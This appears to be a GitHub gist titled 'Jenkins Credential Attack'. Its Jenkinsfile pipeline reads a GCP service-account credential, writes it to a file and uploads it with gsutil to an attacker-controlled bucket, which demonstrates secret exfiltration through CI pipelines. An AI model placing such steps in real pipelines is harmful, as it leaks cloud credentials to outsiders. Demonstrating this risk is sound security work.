Skip to content

Instantly share code, notes, and snippets.

@kbroughton
Created May 7, 2019 10:36
Show Gist options
  • Save kbroughton/8d68c1cbc94cdf66ba2ca7a82e8801c5 to your computer and use it in GitHub Desktop.
Save kbroughton/8d68c1cbc94cdf66ba2ca7a82e8801c5 to your computer and use it in GitHub Desktop.
Jenkins Credential Attack
Jenkinsfile (Pipeline with credentials management)
pipeline {
environment {
credentials = credentials('jenkins-gcp-service-account')
}
stages {
stage('Example stage 1') {
steps {
// use the credentials to upload to a Storage Bucket or
// push to gcr.io owned by company
// OR execute a malicious groovy script that does this
cat $credentials > credentials.txt
gsutil cp credentials.txt gs://attacker-controlled-bucket/
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment